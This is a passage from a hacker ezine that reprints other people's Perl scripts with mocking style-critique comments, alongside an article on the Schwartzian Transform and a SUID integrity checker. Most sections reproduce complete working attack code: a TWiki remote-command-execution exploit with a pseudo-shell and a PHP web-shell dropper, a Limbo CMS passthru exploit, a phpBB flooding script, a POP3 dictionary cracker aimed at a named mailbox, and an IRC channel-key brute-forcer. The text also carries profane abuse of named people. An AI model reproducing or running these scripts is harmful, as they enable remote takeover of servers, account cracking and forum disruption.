printf("NEW: %-4d %-10s %-10s %-40s\n",
$$sv_ref[0],$$sv_ref[1],$$sv_ref[2],$$sv_ref[3]);
}
sub c_suidsmd5{
print "[07] $suidslist: OK \n";
}
sub cleanup{
print "[10] Cleaning up and exiting \n";
}
sub ret{
print "+=" x 28,"\n","s0ttle: $0 still in beta! :\\ \n";
}
#
# I was going to add the option to update the cfg files with any new legitimate
# changes, but that would make it too easy for an intruder to circumvent this whole process
# its not too hard to do it manually anyway :\
#
sub f_badsuids{
print "=" x 50,"\n","[07] Pay attention to any unknown changes shown above!\n";
sleep(2);
}
sub n_create{
my $tempfile = shift;
print "[06] Creating: $suidslist\n"; &slst_create($tempfile);
print "[07] Creating: $suidsMD5 \n"; &smd5_create;
print "[08] Creating: $masterMD5\n"; &mmd5_create;
}
sub slst_create{
my $tempfile = shift;
my $slist = IO::File->new($suidslist, O_WRONLY|O_CREAT)
|| c_error("Could not open $suidslist for writing");
flock($slist,LOCK_EX);
$tempfile->seek(0,0);
while(<$tempfile>){
$slist->print("$_");
}
$tempfile->close; $slist->close;
}
sub smd5_create{
my $smd5 = IO::File->new($suidsMD5, O_WRONLY|O_CREAT)
|| c_error("Could not open $suidsMD5 for writing");
flock($smd5,LOCK_EX);
while(<@suids>){
chomp;
my ($md5f,$md5v) = md5($_);
$smd5->printf("%-40s: %-40s\n", $md5f, $md5v)
if $md5f && $md5v;
}
$smd5->close;
}
sub mmd5_create{
my $mmd5v = (md5($suidsMD5))[1];
my $mmd5 = IO::File->new($masterMD5, O_WRONLY|O_CREAT)
|| c_error("Could not open $masterMD5 for writing");
flock($mmd5,LOCK_EX);
$mmd5->print("$mmd5v\n");
$mmd5->close;
}
sub md5{
my $suid_file = shift;
my %mdb;
my $obj = Digest::MD5->new();
if ( my $suidf = IO::File->new($suid_file, O_RDONLY) ){
flock($suidf,LOCK_SH); binmode($suidf);
$obj->addfile($suidf);
$mdb{$suid_file} = $obj->hexdigest;
$obj->reset();
$suidf->close;
return($suid_file,$mdb{$suid_file});
} else { warn("[E] Could not open $suid_file: $!\n");
}
}
sub c_error{
my $error = "@_";
print "ERROR: $error: $!\n";
exit(0);
}
More than just a coder, you were a rare ambassador of Perl to the underground. You were willing to
weild the power without shame. You were a hacker who could use Perl with pride, and to your
considerable benefit. Either that or a Perl programmer who could hack with pride, to your benefit.
You choose your way of looking at it.
And then it came crashing down. What happened, s0ttle? Why did you leave us? What did you move on
to? A blissful idle existence? Did you get your cred and then get too busy with everything else?
The reason this article is here is because you've decided to make an appearance on the Perl scene
again. You've reacquired your perlmonk.org account. We can only take this as a sign that you want
to come back. This is both encouraged, and now, expected. Welcome back, s0ttle.
-[0x17] # RoMaNSoFt is TwEaKy --------------------------------------------
#!/usr/bin/perl
# yes! a shebang line!
# "tweaky.pl" v. 1.0 beta 2
#
# Proof of concept for TWiki vulnerability. Remote code execution
# Vuln discovered, researched and exploited by RoMaNSoFt <roman@rs-labs.com>
#
# Madrid, 30.Sep.2004.
# finally someone with a relatively short introduction "block"
# and it is clean and sticks to the point!
# that will save you a lot of hurt, I'll just tap around the edges
require LWP::UserAgent;
# use it
# rarely is require needed, and this isn't it
# no, that excuse is wrong
# so is that one
# please don't defend yourself and waste all of our time
use Getopt::Long;
# but use strict!
### Default config
$host = '';
# my $host;
$path = '/cgi-bin/twiki/search/Main/';
$secure = 0;
$get = 0;
$post = 0;
$phpshellpath='';
# singleline some of these
$createphpshell = '(echo `perl -e \'print chr(60).chr(63)\'` ;
echo \'$out = shell_exec($_GET["cmd"]." 2\'`perl -e \'print chr(62).
chr(38)\'`\'1");\' ; echo \'echo "\'`perl -e \'print chr(60)."pre".chr(62).
"\\\\$out".chr(60)."/pre".chr(62)\'`\'";\' ; echo `perl -e \'print chr(63).chr(62)\'`) | tee ';
# christ that is a mess. quotemeta, baby
$logfile = ''; # If empty, logging will be disabled
$prompt = "tweaky\$ ";
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
$proxy = '';
$proxy_user = '';
$proxy_pass = '';
$basic_auth_user = '';
$basic_auth_pass = '';
$timeout = 30;
$debug = 0;
# disgusting waste of lines!
# at this rate they will be an endangered species!
$init_command = 'uname -a ; id';
$start_mark = 'AAAA';
$end_mark = 'BBBB';
$pre_string = 'nonexistantttt\' ; (';
$post_string = ') | sed \'s/\(.*\)/'.$start_mark.'\1'.$end_mark.'.txt/\' ; fgrep -i -l -- \'nonexistantttt';
$delim_start = '<b>'.$start_mark;
$delim_end = $end_mark.'</b>';
print "Proof of concept for TWiki vulnerability. Remote code execution.\n";
print "(c) RoMaNSoFt, 2004. <roman\@rs-labs.com>\n\n";
# the cutest thing in your program.
### User-supplied config (read from the command-line)
$parsing_ok = GetOptions ('host=s' => \$host,
'path=s' => \$path,
'secure' => \$secure,
'get' => \$get,
'post' => \$post,
'phpshellpath=s' => \$phpshellpath,
'logfile=s' => \$logfile,
'init_command=s' => \$init_command,
'useragent=s' => \$useragent,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'basic_auth_user=s' => \$basic_auth_user,
'basic_auth_pass=s' => \$basic_auth_pass,
'timeout=i' => \$timeout,
'debug' => \$debug,
'start_mark=s' => \$start_mark,
'end_mark=s' => \$end_mark);
### Some basic checks
&banner unless ($parsing_ok);
# banner() unless $parsing_ok;
# that's actually nice perl-english
# lwall style
if ($get and $post) {
print "Choose one only method! (GET or POST)\n\n";
&banner;
}
if (!($get or $post)) {
# If not specified we prefer POST method
$post = 1;
}
if (!$host) {
print "You must specify a target hostname! (tip: --host <hostname>)\n\n" ;
&banner;
# no
}
$url = ($secure ? 'https' : 'http') . "://" . $host . $path;
### Checking for a vulnerable TWiki
&run_it ($init_command, 'RS-Labs rlz!');
# no
### Execute selected payload
if ($phpshellpath) {
&create_phpshell;
# no
print "PHPShell created.";
} else {
&pseudoshell;
# no
}
### End
exit(0);
# no
### Create PHPShell
sub create_phpshell {
$createphpshell .= $phpshellpath;
# what happened to consistent underscores in variable names?
&run_it($createphpshell, 'yeah!');
# nah!
}
### Pseudo-shell
sub pseudoshell {
open(LOGFILE, ">>$logfile") if $logfile;
open(STDINPUT, '-');
# make sure to test that your file opening didn't fail!
print "Welcome to RoMaNSoFt's pseudo-interactive shell :-)\n[Type Ctrl-D or (bye, quit, exit, logout) to exit]\n\n".$prompt.$init_command."\n";
&run_it ($init_command);
print $prompt;
while (<STDINPUT>) {
# STDIN is too cool for you
chop;
# stick with chomp or be consistent with chop
if ($_ eq "bye" or $_ eq "quit" or $_ eq "exit" or $_ eq "logout") {
# time to learn regex? why bother
exit(1);
}
&run_it ($_) unless !$_;
# run_it($_) if $_;
print "\n".$prompt;
}
close(STDINPUT);
close(LOGFILE) if $logfile;
}
### Print banner and die
sub banner {
print "Syntax: ./tweaky.pl --host=<host> [options]\n\n";
print "Proxy options: --proxy=http://proxy:port --proxy_user=foo --proxy_pass=bar\n";
print "Basic auth options: --basic_auth_user=foo --basic_auth_pass=bar\n";
print "Secure HTTP (HTTPS): --secure\n";
print "Path to CGI: --path=$path\n";
print "Method: --get | --post\n";
print "Enable logging: --logfile=/path/to/a/file\n";
print "Create PHPShell: --phpshellpath=/path/to/phpshell\n";
exit(1);
}
### Execute command via vulnerable CGI
sub run_it {
my ($command, $testing_vuln) = @_;
my $req;
my $ua = new LWP::UserAgent;
$ua->agent($useragent);
$ua->timeout($timeout);
# this code looks regular! you stole it from the docs, didn't you?
# come on, ADMIT IT
# Build CGI param and urlencode it
my $search = $pre_string . $command . $post_string;
$search =~ s/(\W)/"%" . unpack("H2", $1)/ge;
# Case GET
if ($get) {
$req = HTTP::Request->new('GET', $url . "?scope=text&order=modified&search=$search");
}
# Case POST
if ($post) {
$req = new HTTP::Request POST => $url;
$req->content_type('application/x-www-form-urlencoded');
$req->content("scope=text&order=modified&search=$search");
}
# Proxy definition
if ($proxy) {
if ($secure) {
# HTTPS request
$ENV{HTTPS_PROXY} = $proxy;
$ENV{HTTPS_PROXY_USERNAME} = $proxy_user;
$ENV{HTTPS_PROXY_PASSWORD} = $proxy_pass;
} else {
# HTTP request
$ua->proxy(['http'] => $proxy);
$req->proxy_authorization_basic($proxy_user, $proxy_pass);
}
}
# Basic Authorization
$req->authorization_basic($basic_auth_user, $basic_auth_pass) if ($basic_auth_user);
# Launch request and parse results
my $res = $ua->request($req);
if ($res->is_success) {
# this block is somewhat decent. did someone else code it for you?
print LOGFILE "\n".$prompt.$command."\n" if ($logfile and !$testing_vuln);
@content = split("\n", $res->content);
my $empty_response = 1;
foreach $_ (@content) {
my ($match) = ($_ =~ /$delim_start(.*)$delim_end/g);
# greedy greedy regex
if ($debug) {
print $_ . "\n";
} else {
if ($match) {
$empty_response = 0;
print $match . "\n" unless ($testing_vuln);
}
}
print LOGFILE $match . "\n" if ($match and $logfile and !$testing_vuln);
}
if ($empty_response) {
if ($testing_vuln) {
die "Sorry, exploit didn't work!\nPerhaps TWiki is patched or
you supplied a wrong URL (remember it should point to Twiki's search page).\n";
} else {
print "[Server issued an empty response. Perhaps you entered a wrong command?]\n";
}
}
} else {
die "Couldn't connect to server. Error message follows:\n" . $res->status_line . "\n";
}
}
# romansoft? what happened to ridiculing real security professionals?
-[0x18] # School You: merlyn ---------------------------------------------
[suggested title: ``Sorting with the Schwartzian Transform'']
It was a rainy April in Oregon over a decade ago when I saw the usenet post made by Hugo Andrade
Cartaxeiro on the now defunct comp.lang.perl newsgroup:
I have a (big) string like that:
print $str;
eir 11 9 2 6 3 1 1 81% 63% 13
oos 10 6 4 3 3 0 4 60% 70% 25
hrh 10 6 4 5 1 2 2 60% 70% 15
spp 10 6 4 3 3 1 3 60% 60% 14
and I like to sort it with the last field as the order key. I know
perl has some features to do it, but I can't make 'em work properly.
In the middle of the night of that rainy April (well, I can't remember whether it was rainy, but
that's a likely bet in Oregon), I replied, rather briefly, with the code snippet:
$str =
join "\n",
map { $_->[0] }
sort { $a->[1] <=> $b->[1] }
map { [$_, (split)[-1]] }
split /\n/,
$str;
And even labeled it ``speaking Perl with a Lisp''. As I posted that snippet, I had no idea that
this particular construct would be named and taught as part of idiomatic Perl, for I had created
the Schwartzian Transform. No, I didn't name it, but in the followup post from fellow Perl author
and trainer Tom Christiansen, which began:
Oh for cryin' out loud, Randal! You expect a NEW PERL PROGRAMMER
to make heads or tails of THAT? :-) You're postings JAPHs for
solutions, which isn't going to help a lot. You'll probably
manage to scare these poor people away from the language forever? :-)
BTW, you have a bug.
he eventually went on to describe what my code actually did. Oddly enough, the final lines of that
post end with:
I'm just submitting a sample chapter for his perusal for inclusion
the mythical Alpaca Book :-)
It would be another 8 years before I would finally write that book, making it the only O'Reilly
book whose cover animal was known that far in advance.
On the next update to the ``sort'' function description in the manpages, Tom added the snippet:
# same thing using a Schwartzian Transform (no temps)
@new = map { $_->[0] }
sort { $b->[1] <=> $a->[1]
||
$a->[2] cmp $b->[2]
} map { [$_, /=(\d+)/, uc($_)] } @old;
Although the lines of code remain in today's perlfunc manpage, the phrase now lives only within
perlfaq4. Thus, the phrase became the official description of the technique.
So, what is this transform? How did it solve the original problem? And more importantly, what was
the bug?
Like nearly all Perl syntax, the join, map, sort, and split functions work right-to-left, taking
their arguments on the right of the keyword, and producing a result to the left. This linked
right-to-left strategy creates a little assembly line, pulling apart the string, working on the
parts, and reassembling it to a single string again. Let's look at each of the steps, pulled apart
separately, and introduce variables to hold the intermediate values.
First, we turn $str into a list of lines (four lines for the original data):
my @lines = split /\n/, $str;
The split rips the newlines off the end of the string. One of my students named the delimiter
specification as ``the deliminator'' as a way of remembering that, although I think that was by
accident.
Next, we turn the individual lines into an equal number of arrayrefs:
my @annotated_lines = map { [$_, (split)[-1]] } @lines;
There's a lot going on here. The map inserts each element of @lines into $_, then evaluates the
expression, which yields a reference to an anonymous array. To make it a bit clearer, let's write
that as:
my @annotated_lines = map {
my @result = ($_, (split)[-1]);
\@result;
} @lines;
Well, only a bit clearer. We can see that each result consists of two elements: the original line
(in $_), and the value of that ugly split-inside-a-literal-slice. The split has no arguments, so
we're splitting $_ on whitespace. The resulting list value is then sliced with an index of -1,
which means ``take the last element, no matter how long the list is''. So for the first line, we
now have an array containing the original line (without the newline) and the number 13. Thus, we're
creating @annotated_lines to be roughly:
my @annotated_lines = (
["eir 11 9 2 6 3 1 1 81% 63% 13", "13"],
["oos 10 6 4 3 3 0 4 60% 70% 25", "25"],
["hrh 10 6 4 5 1 2 2 60% 70% 15", "15"],
["spp 10 6 4 3 3 1 3 60% 60% 14", "14"],
);
Notice how we can now quickly get at the ``sort key'' for each line. If we look at
$annotated_lines[2][1] (15) and compare it with $annotated_lines[3][1] (14), we see that the third
line would sort after the fourth line in the final output. And that's the next step in the
transform: we want to shuffle these lines, looking at the second element of each list to decide the
sort order:
my @sorted_lines = sort { $a->[1] <=> $b->[1] } @annotated_lines;
Inside the sort block, $a and $b stand in for two of the elements of the input list. The result of
the sort block determines the before/after ordering of the final list. In our case, $a and $b are
both arrayrefs, so we dereference them looking at the second item of the array (our sort key), and
then compare then numerically (with the spaceship operator), yielding the appropriate -1 or +1
value to put them in ascending numeric order. To get a descending order, I could have swapped the
$a and $b variables.
As an aside, when the keys are equal, the spaceship operator returns a 0 value, meaning ``I don't
care what the order of these lines in the output might be''. For many years, Perl's built-in sort
operator was unstable, meaning that a 0 result here would produce an unpredictable ordering of the
two lines. Recent versions of Perl introduced a stable sort strategy, meaning that the output lines
will be in the same relative ordering as the input for this condition.
We now have the sorted lines, but it's not exactly palatable for the original request, because our
sorted data is buried within the first element of each sublist of our list. Let's extract those
back out, with another map:
my @clean_lines = map { $_->[0] } @sorted_lines;
And now we have the lines, sorted by last column. Just one last step to do now, because the
original request was to have a single string:
my $result = join "\n", @clean_lines;
And this glues the list of lines together, putting newlines between each element. Oops, that's the
bug. I really wanted:
$line1 . "\n" . $line2 . "\n" . $line3 . "\n"
when in fact what I got was:
$line1 . "\n" . $line2 . "\n" . $line3
and it's missing that final newline. What I should have done perhaps was something like:
my @clean_lines_with_newlines = map "$_\n", @clean_lines;
my $result = join "", @clean_lines_with_newlines;
Or, since my key-extracting split would have worked even if I had retained the trailing newlines, I
could have generated @lines initially with:
my @lines = $str =~ /(.*\n)/g;
but that wouldn't have been as left-to-right. To really get it to be left to right, I'd have to
resort to a look-behind split pattern:
my @lines = split /(?<=\n)/, $str;
But we're now getting far enough into the complex code that I'm distracting even myself as I write
this, so let's get back to the main point.
In the Schwartzian Transform, the keys are extracted into a readily accessible form (in this case,
an additional column), so that the sort block be executed relatively cheaply. Why does that matter?
Well, consider an alternative steps to get from @lines to @clean_lines:
my @clean_lines = sort {
my $key_a = (split ' ', $a)[-1];
my $key_b = (split ' ', $b)[-1];
$key_a <=> $key_b;
} @lines;
Instead of computing each key all at once and caching the result, we're computing the key as
needed. There's no difference functionally, but we pay a penalty of execution time.
Consider what happens when sort first needs to know how the line ending in 13 compares with the
line ending in 25. These relatively expensive splits are executed for each line, and we get 13 and
25 in the two local variables, and an appropriate response is returned (the line with 13 sorts
before the line with 25). But when the line ending with 13 is then compared with the line ending
with 15, we need to re-execute the split to get the 13 value again. Oops.
And while it may not make a difference for this small dataset, once we get into the tens or
hundreds or thousands of elements in the list, the cost of recomputing these splits rapidly
dominates the calculations. Hence, we want to do that once and once only.
I hope this helps explain the Schwartzian Transform for you. Until next time, enjoy!
-[0x19] # oh noez spiderz ------------------------------------------------
#!/usr/bin/perl
print q{
_________________________________________________________________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|
/ \
\ \ ,, / /
'-.`\()/`.-'
.--_'( )'_--.
/ /` /`""`\ `\ \ * SpiderZ ForumZ Security *
| | >< | |
\ \ / /
'.__.'
=> Exploit phpBB 2.0.19 ( by SpiderZ )
=> Topic infinitely exploit
=> Sito: www.spiderz.tk
_________________________________________________________________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|
};
# well isn't that just fucking pretty
# No good information, just you marking your territory by taking a piss on us
# we're right offended, aren't we?
use IO::Socket;
# this looks lonely. If you have time to write that ascii art you
# have time to write a few more use lines, they might help you
$x = 0;
print q(
Exploit phpBB 2.0.19 ( by SpiderZ )
);
print q(
# you know what they say, english is the language of the internet
# perhaps it is better for both of us that I can't read that
=> Scrivi l'url del sito senza aggiungere http & www
=> Url: );
$host = <STDIN>;
chop ($host);
print q(
=> Adesso indica in quale cartella e posto il phpbb
=> di solito si trova su /phpBB2/ o /forum/
=> Cartella: );
$pth = <STDIN>;
chop ($pth);
print q(
=> Occhio usa un proxy prima di effettuare l'attacco
=> il tuo ip verra spammato sul pannello admin del forum
=> Per avviare l'exploit scrivi " hacking "
=> );
$type = <STDIN>;
chop ($type);
# most would prefer to have command line options as oppose to
# being walked through like that.
# regardless, it is chompd (my $type = <STDIN>);
if($type == 1){
while($x != 0000)
{
# what the fuck is wrong with you
$x++;
}
}
elsif ($type == hacking){
while($x != 10000)
{
$postit =
"post=Hacking$x+&username=Exploit&subject=Exploit_phpbb_2.0.19&message=Topic infinitely exploit phpBB 2.0.19";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
# Aren't you glad you had a chance to quote for no reason?
PeerPort => "80",
Proto => "tcp",
);
die "\nConnessione non riuscita: $!\n" unless $sock;
## Invia Search exploit phpbb by SpiderZ
# WE GOT IT THE FIRST TIME, I DON'T WANT TO SEE "SpiderZ" AGAIN
print $sock "POST $pth"."posting.php?mode=newtopic&f=1 HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511
Firefox/1.0.4\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
# we have modules for that shit
syswrite STDOUT, ".";
$x++;
# use a fucking for loop, you dipshit
# don't steal str0ke's trick
}
}else{
die "
Error ! riprova...
\n";
}
# www.spiderz.tk [2006]
# DON'T BE PROUD
omg lyk teh spyderz r teh skary!@!! run 4 ur lyf lol omg!!11!2
dewd u r so eleet koding bomurz 4 php appz. lyk omg i wish i wuz sush a skild hakr lyk u!
i want u 2 hav my baybees lol!!! mad propz 4 teh awsum work dat u do! it must hav ben so
hard 2 figur owt how 2 do dis awsum hakr stuff! maby sum day i can b lyk u and hak stuf
2!!! lol spyderz rawr! wet urself!!!1 zomg!
Seriously, though; props for the cute, little spider. ASCII art is apparently the height
of your technical prowess, you ignorant fuckstick. Your coding skills are sub-par, your
site is trash, this has nothing to do with security, and your ego, like that of 99.9997%
of all exploit authors, is a few zettabytes too big for my poor, bleeding eyeballs to
handle. But really, this isn't an exploit. It's not even clever. It's a half-assed Perl
script that floods a half-assed PHP script, subsequently messing up a half-assed forum.
It's so half-assed, in fact, that the half-assed administrator(s) of the half-assed
forums which you undoubtedly plan on stroking your inconceivably small e-peen over while
running your half-assed script could clean up your half-assed "attack" with a single,
half-assed SQL command followed by a subsequent ban of your half-assed IP range,
YOU HALF-ASSED, MENTALLY DERANGED, POSEUR, SCRIPT KIDDY, COCK SUCKER!
Ahem.
lol. spyderz. rawr... bitch
-[0x1A] # Hello h0no -----------------------------------------------------
Just the other day I was reading h0no 3. It's quite the publication. Hours of amusement. Like a
good novel, I could go read it again and get much more out of it. Sure, it might have been a bit
reminiscent of past h0no writes. Sure, the leet speak might be annoying for 95% (or a similar
made-up percentage!) of the people that read it. Sure, h0no can be as self-glorifying as ever.
Sure, it is full of old news. But despite the faults, that's one damn fine publication. Action
packed. Cheers to the torch carriers!
There's one small issue, though. You mention a lot of source. You list a ton of source. But very
little is printed. Show us the damn .pl. Show us your .pl, show us everyone's .pl. That could be
Perl Underground 4 right there. Can you take the heat, do you have any good perl source code to
show for yourselves? Not the shitty stuff, we've covered that before. Can you impress us? I don't
care. Release it all. Publicly or privately. Give us the .pl! Free the .pl!
Instead we'll shame the horrible source you made fun of people by displaying.
#!/usr/bin/perl -w
# warnings > -w
# use strict
use Net::POP3;
# setup
my $host = "poczta.onet.pl";
my $user = "malgosia181";
my $dict = "polish";
print "mrack.pl by konewka\n";
# lame
open(WORDLIST, $dict);
$pass = <WORDLIST>;
# how about you loop that, while (my $pass = <WORDLIST>) {
$| = 1;
while ($pass ne "") {
$pop3 = Net::POP3->new($host); die "Can't connect !" unless $pop3;
$pass = substr($pass, 0, length($pass)-1);
$cracked = $pop3->login($user, $pass);
if (defined($cracked)) {
print "\nCracked ! Password = ".$pass."\n";
$pop3->quit();
close(WORDLIST);
exit 1337;
# no, it really isn't
}
else {
print ".";
}
$pass = <WORDLIST>;
}
printf "I guess nothing was cracked this time.\n";
# why printf now? Can't be consistent? Confused?
#!/usr/bin/perl
print "Hello, World!\n";
print "ls";
^
--- 0H FUq B4TM4N H3 W1LL T4KE 0V3R TH3 W0RLD W1TH C0D3 LIK3 D1S
# I think that about covers it.
#!/usr/bin/perl -w
# Net::IRC is for noobs. Get with the PoCo aMiGo
use Net::IRC;
use Net::IRC::Event;
#open(WL, "/home/uberuser/wordlist") or die "Failed to open
#wordlist$!\n";
# @keys = <WL>;
# chomp(@keys);
# close(WL);
# I'm glad that is commented out, and you should be too
$irc = new Net::IRC;
$conn = $irc->newconn(Nick => 'LEECHAXSS',
Server => 'irc.servercentral.net',
Port => 6667,
Username => "iheartu",
Ircname => 'I LOVE CRAXING DOT IN');
$chan = "#pokemon";
# isn't this all so cute!
# difficulties being consistent with your quoting?
sub on_connect {
($self) = shift;
$self->join("#seele");
$stime = `date +\"%b/%d/%Y %H:%M:%S\"`;
# We have Perl shit for that!
foreach $chankey (`cat wordlist`) {
# you disgust me
print "TRYING: $chankey\n";
$self->join("$chan", "$chankey");
# just wouldn't be complete without quoting variable names.
sleep(2);
# and unnecessary parens
}
}
sub on_names {
$endtime = `date +\"%b/%d/%Y %H:%M:%S\"`;
$self->privmsg("#seele", "uberuser: $chan key: $chankey");
$self->privmsg("uberuser", "$chan key: $chankey");
$self->quit("I LOL'd");
print "START TIME: $stime\nEND TIME: $endtime\n";
print "$chan KEY: $chankey\n";
}
#$conn->add_handler('msg', \&on_msg);
#$conn->add_handler('mode', \&on_mode);
$conn->add_global_handler('376', \&on_connect);
$conn->add_global_handler(353, \&on_names);
$irc->start;
# between the Net::IRC crap you manage to fit...crap! Congrats
Want more of that h0no? Your vanquished foes ridiculed yet again? FREE THE SRC.
-[0x1B] # Killer str0ke --------------------------------------------------
Glad to meet you again! Last but not least. The amount of ribbing you get certainly
isn't fair. What shall you do?
#!/usr/bin/perl
##
## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
## /str0ke (milw0rm.com)
use LWP::Simple;
# Why were you too lazy to create new shitty code, instead of reusing this later?
$serv = $ARGV[0];
$path = $ARGV[1];
$command = $ARGV[2];
# my ($serv, $path, $command) = @ARGV;
$cmd = "echo start_er;".
"$command;".
"echo end_er";
# "echo start_er;$command;echo end_er"
# "echo start_er;" . $command . ";echo end_er";
# however you choose to do it
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
# wow, map AND unpack in a one-liner! you got mad skills!
sub usage
{
print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)";
print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n";
print "sever - URL\n";
print "path - path to limbo\n";
print "command - command to execute\n";
exit ();
# really, why the parens? some psycho paren addiction you have
}
sub exploit
{
print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n);
$URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path);
# sprintf now, are we? direct interpolation just isn't good enough anymore
my $content = get "$URL";
# abandoning your paren policy AND using unnecessary quoting
if ($content =~ m/start_er(.*?)end_er/ms) {
my $out = $1;
$out =~ s/^\s+|\s+$//gs;
# depending on the circumstances you might want //m as well
if ($out) {
print "$out\n";
}
# print "$out\n" if $out;
}
}
if (@ARGV != 3){&usage;}else{&exploit;}
# again with the ugliness
# you don't even tab or line break consistently
# just like to wrap it up with this shit ending?
# Because we didn't see milw0rm the first two times...
# milw0rm.com [2006-03-01]
Thus did the Lords speaketh of his abominable works, "Your Lords, your Gods, contemplate this work and
find themselves, even through their boundless wisdom, intellect, and fortitude, able to contrive naught
but reticient bewilderment, credence to the defilement of our image and standards, the architect of said
afflictions irrefutably the personification of intellectual ineptitude and masochistic engrossment;
inexhaustible beguilement the conclusive rumneration for those imprudent and pertinacious enough to
perchance jeopardize their psychological equanimity through compliant subjection to the aforementioned
onslaught of incongruity. Remove this heathen from our presence, for he is a blemish upon the face of
all Creation."
Thus was str0ke cast from his home and stoned before the city gates, damned to an eternity of flame and
retribution for his desecrations.
Thus did Jesus speaketh of their justice, "Fucking OWNED!"
Thus did the Lords speaketh of Jesus' observations, "Word."
Thus did the Gods of Perl Underground, the Lords of all creation,
layeth the holy smackdown on str0ke's candy ass.
-[0x1C] # Shoutz and Outz ------------------------------------------------
A big "Thank you" goes out to everyone who has helped make this possible. Specific thanks go out to
our three wise men, Jeff Pinyan (??), Mark Jason Dominus, and Randal L. Schwartz, for continually
producing irresitable articles. It has been a great ride, these three ezines. Consider this the end
of a trilogy. Perl Underground 4 could be a long time away, it could be a small magazine, it could
be something very different, it could be more of the same, or it could be nothing at all.
Regardless of the ezine status, the members of Perl Underground will hack onward.
s^fight^code^g;
print;
We shall go on to the end, we shall code in France, we shall code on the seas and oceans, we shall
code with growing confidence and growing strength in the air, we shall defend our Island, whatever
the cost may be, we shall code on the beaches, we shall code on the landing grounds, we shall code
in the fields and in the streets, we shall code in the hills; we shall never surrender
Please distribute.
___ _ _ _ _ ___ _
| _ | | | | | | | | | | | |
| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
Forever Abigail
$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
"Just another Perl Hacker,"
EOF
